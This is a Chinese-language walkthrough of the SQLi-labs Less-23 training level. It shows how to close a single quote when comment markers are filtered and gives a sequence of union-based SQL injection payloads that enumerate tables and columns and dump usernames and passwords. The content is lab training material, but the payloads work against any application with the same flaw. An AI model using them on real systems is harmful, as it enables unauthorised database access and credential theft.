目录
Less-23(过滤注释符号——union联合注入)
第23关总结:
通过手工测试发现,这一关对#与–+进行了过滤,我们只能想办法来闭合单引号,并且闭合的方法很多,在以下的注入过程中也存在很多的闭合办法。其余的采用简单的联合注入即可完成
- 判断注入类型并判断显示位置
1.1通过报错,我们可以看出这个注入大概是个单引号字符型注入
1.2 通过测试,发现这一关禁用了‘#’与‘–+’,所以我们不能像前面一样去注释剩余的单引号,而是去想办法闭合
1.3 闭合单引号,判断显示位置
-1' union select 22,33,'44
- 查看当前数据库
-1' union select 3,database(),3 or '12'='12
- 爆表
-1' union select 22,group_concat(table_name),22 from information_schema.tables where table_schema='security' and '1'='1
- 爆列
-1' union select 22,group_concat(column_name),22 from information_schema.columns where table_name='users' or '1'='2
- 爆数据
方法一:
-1' union select 1,group_concat(username),3 from users where 1=1 and '1'='1
解析:
这里需要注意and前后的对象需要一致,下面的第一种做法就不对,and前面是一个表名,后面就是数值,所以再注释的闭合引号的的时候需要加一个where 1=1,前面爆表,爆列的时候由于本来就有where条件筛选,所以才可以成功
方法二:
-1' union select 22,(select group_concat(username) from users),22 or '1'='1
-1' union select 22,(select group_concat(password) from users),22'
查看源码:
通过源码我们可以看出来这里将#与–替换成了空字符,对#与–起到过滤作用,所以我们前面的判断是正确的